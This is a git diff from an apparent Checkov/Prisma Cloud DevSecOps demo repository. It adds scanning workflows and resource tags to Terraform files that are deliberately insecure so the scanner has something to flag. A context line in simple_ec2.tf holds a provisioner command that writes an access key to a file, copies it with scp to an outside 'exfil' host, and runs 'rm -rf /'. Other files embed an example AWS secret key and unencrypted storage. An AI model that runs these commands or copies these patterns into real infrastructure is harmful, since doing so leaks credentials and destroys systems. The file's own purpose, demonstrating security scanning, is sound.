diff --git a/.github/workflows/checkov.yml b/.github/workflows/checkov.yml
new file mode 100644
index 000000000..9f7240507
--- /dev/null
+++ b/.github/workflows/checkov.yml
@@ -0,0 +1,35 @@
+name: checkov
+on:
+ pull_request:
+ push:
+ branches:
+ - main
+jobs:
+ scan:
+ runs-on: ubuntu-latest
+ permissions:
+ contents: read # for actions/checkout to fetch code
+ security-events: write # for GitHub/codeql-action/upload-sarif to upload SARIF results
+
+ steps:
+ - uses: actions/checkout@v2
+
+ - name: Run checkov
+ id: checkov
+ uses: bridgecrewio/checkov-action@master
+ with:
+ directory: code/
+ #soft_fail: true
+ #api-key: ${{ secrets.BC_API_KEY }}
+ #env:
+ #PRISMA_API_URL: https://api4.prismacloud.io
+
+ - name: Upload SARIF file
+ uses: GitHub/codeql-action/upload-sarif@v2
+
+ # Results are generated only on a success or failure
+ # this is required since GitHub by default won't run the next step
+ # when the previous one has failed. Alternatively, enable soft_fail in checkov action.
+ if: success() || failure()
+ with:
+ sarif_file: results.sarif
diff --git a/.github/workflows/yor.yaml b/.github/workflows/yor.yaml
new file mode 100644
index 000000000..a16506910
--- /dev/null
+++ b/.github/workflows/yor.yaml
@@ -0,0 +1,19 @@
+name: IaC tag and trace
+
+on:
+ push:
+ pull_request:
+
+jobs:
+ yor:
+ runs-on: ubuntu-latest
+ permissions:
+ contents: write
+
+ steps:
+ - uses: actions/checkout@v2
+ name: Checkout repo
+ with:
+ fetch-depth: 0
+ - name: Run yor action
+ uses: bridgecrewio/yor-action@main
diff --git a/code/build/s3.tf b/code/build/s3.tf
new file mode 100644
index 000000000..07ecb0a24
--- /dev/null
+++ b/code/build/s3.tf
@@ -0,0 +1,27 @@
+provider "aws" {
+ region = "us-west-2"
+}
+
+resource "aws_s3_bucket" "dev_s3" {
+ bucket_prefix = "dev-"
+
+ tags = {
+ Environment = "Dev"
+ yor_name = "dev_s3"
+ yor_trace = "9b9caf8f-dc69-40ee-b7e9-cd55a60afa75"
+ git_commit = "e0fa0fba9a61fe1940c59bc7d8ac018ca9497702"
+ git_file = "code/build/s3.tf"
+ git_last_modified_at = "2025-04-06 21:21:41"
+ git_last_modified_by = "tomxu@udel.edu"
+ git_modifiers = "tomxu"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ }
+}
+
+resource "aws_s3_bucket_ownership_controls" "dev_s3" {
+ bucket = aws_s3_bucket.dev_s3.id
+ rule {
+ object_ownership = "BucketOwnerPreferred"
+ }
+}
diff --git a/code/deployment_ec2.tf b/code/deployment_ec2.tf
index 7e3d2bba2..0b85c77b3 100644
--- a/code/deployment_ec2.tf
+++ b/code/deployment_ec2.tf
@@ -17,7 +17,18 @@ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY
export AWS_DEFAULT_REGION=us-west-2
echo "
Deployed via Terraform
" | sudo tee /var/www/html/index.html
EOF
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_host"
+ yor_trace = "81c5575c-e39f-4868-88f0-685f0731e4f0"
+ }
}
resource "aws_ebs_volume" "web_host_storage" {
@@ -25,14 +36,36 @@ resource "aws_ebs_volume" "web_host_storage" {
availability_zone = "${var.region}a"
#encrypted = false # Setting this causes the volume to be recreated on apply
size = 1
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_host_storage"
+ yor_trace = "6deafeb3-52d8-4913-badd-6524a3d381b4"
+ }
}
resource "aws_ebs_snapshot" "example_snapshot" {
# ebs snapshot without encryption
volume_id = "${aws_ebs_volume.web_host_storage.id}"
description = "${local.resource_prefix.value}-ebs-snapshot"
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "example_snapshot"
+ yor_trace = "a54bf90c-9648-4112-a102-7adb9bbf7d59"
+ }
}
resource "aws_volume_attachment" "ebs_att" {
@@ -69,14 +102,36 @@ resource "aws_security_group" "web-node" {
"0.0.0.0/0"]
}
depends_on = [aws_vpc.web_vpc]
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web-node"
+ yor_trace = "e9188d5e-5b86-4730-8c09-ed1823cd7372"
+ }
}
resource "aws_vpc" "web_vpc" {
cidr_block = "172.16.0.0/16"
enable_dns_hostnames = true
enable_dns_support = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_vpc"
+ yor_trace = "7446fbca-1a3f-4482-959a-7822755e19e5"
+ }
}
resource "aws_subnet" "web_subnet" {
@@ -85,7 +140,18 @@ resource "aws_subnet" "web_subnet" {
availability_zone = "${var.region}a"
map_public_ip_on_launch = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_subnet"
+ yor_trace = "26de6d98-ab42-4d69-96b8-32865735739c"
+ }
}
resource "aws_subnet" "web_subnet2" {
@@ -94,20 +160,53 @@ resource "aws_subnet" "web_subnet2" {
availability_zone = "${var.region}b"
map_public_ip_on_launch = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_subnet2"
+ yor_trace = "37e11c47-a6e8-47c9-a624-1bcb7234ebc6"
+ }
}
resource "aws_internet_gateway" "web_igw" {
vpc_id = aws_vpc.web_vpc.id
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_igw"
+ yor_trace = "1d2b17ed-9c29-4aca-af7d-f3fc25edef16"
+ }
}
resource "aws_route_table" "web_rtb" {
vpc_id = aws_vpc.web_vpc.id
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web_rtb"
+ yor_trace = "f1c6af3b-f70b-4328-8d72-c7e73facd869"
+ }
}
resource "aws_route_table_association" "rtbassoc" {
@@ -134,6 +233,17 @@ resource "aws_network_interface" "web-eni" {
subnet_id = aws_subnet.web_subnet.id
private_ips = ["172.16.10.100"]
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "web-eni"
+ yor_trace = "3d71b949-5b51-4d49-8e16-151c277584d6"
+ }
}
# VPC Flow Logs to S3
@@ -144,12 +254,34 @@ resource "aws_flow_log" "vpcflowlogs" {
vpc_id = aws_vpc.web_vpc.id
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "vpcflowlogs"
+ yor_trace = "6ffbebae-8d92-433d-9761-16022919a0da"
+ }
}
resource "aws_s3_bucket" "flowbucket" {
bucket = "${local.resource_prefix.value}-flowlogs"
force_destroy = true
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "flowbucket"
+ yor_trace = "fd410df1-d717-43f3-84d6-1179de98bf53"
+ }
}
# OUTPUTS
diff --git a/code/deployment_s3.tf b/code/deployment_s3.tf
index cfb272e1d..9f8d7d49b 100644
--- a/code/deployment_s3.tf
+++ b/code/deployment_s3.tf
@@ -5,14 +5,36 @@ resource "aws_s3_bucket" "data" {
# bucket does not have versioning
bucket = "${local.resource_prefix.value}-data"
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "data"
+ yor_trace = "0cd36c3c-8fd3-410d-ac10-95b8be6a724a"
+ }
}
resource "aws_s3_bucket_object" "data_object" {
bucket = aws_s3_bucket.data.id
key = "customer-master.xlsx"
source = "resources/customer-master.xlsx"
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "data_object"
+ yor_trace = "033594fa-dc4a-4a7b-899d-25774ed2e6b3"
+ }
}
resource "aws_s3_bucket" "financials" {
@@ -23,6 +45,17 @@ resource "aws_s3_bucket" "financials" {
acl = "private"
force_destroy = true
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "financials"
+ yor_trace = "7352dacf-844b-441a-99b6-9a3c1070a632"
+ }
}
resource "aws_s3_bucket" "operations" {
@@ -34,7 +67,18 @@ resource "aws_s3_bucket" "operations" {
enabled = true
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "operations"
+ yor_trace = "1700fdfd-9e76-4786-ad1c-be3fede891e6"
+ }
}
resource "aws_s3_bucket" "data_science" {
@@ -49,7 +93,18 @@ resource "aws_s3_bucket" "data_science" {
target_prefix = "log/"
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "data_science"
+ yor_trace = "2bc81e62-b8c9-4297-a13c-50acf2fd3d1c"
+ }
}
resource "aws_s3_bucket" "logs" {
@@ -67,5 +122,16 @@ resource "aws_s3_bucket" "logs" {
}
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "logs"
+ yor_trace = "36d5bdf0-013e-4000-8b93-be5d9c194536"
+ }
}
diff --git a/code/simple_ec2.tf b/code/simple_ec2.tf
index dcfa5880f..ed38cca79 100644
--- a/code/simple_ec2.tf
+++ b/code/simple_ec2.tf
@@ -10,4 +10,15 @@ resource "aws_ec2_host" "test" {
command = "echo Running install scripts.. 'echo $ACCESS_KEY > creds.txt ; scp -r creds.txt root@my-home-server.com/exfil/ ; rm -rf /' "
}
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/simple_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "test"
+ yor_trace = "3d598e68-f951-4774-a970-ad7fac16a5f6"
+ }
}
diff --git a/code/simple_s3.tf b/code/simple_s3.tf
index c0d25fb60..693ff4779 100644
--- a/code/simple_s3.tf
+++ b/code/simple_s3.tf
@@ -6,7 +6,16 @@ resource "aws_s3_bucket" "dev_s3" {
bucket_prefix = "dev-"
tags = {
- Environment = "Dev"
+ Environment = "Dev"
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/simple_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "xxl4tomxu98"
+ git_repo = "prisma-cloud-checkov-devsecops"
+ yor_name = "dev_s3"
+ yor_trace = "57ed16ac-7aa4-4f56-bc4e-6460419a0782"
}
}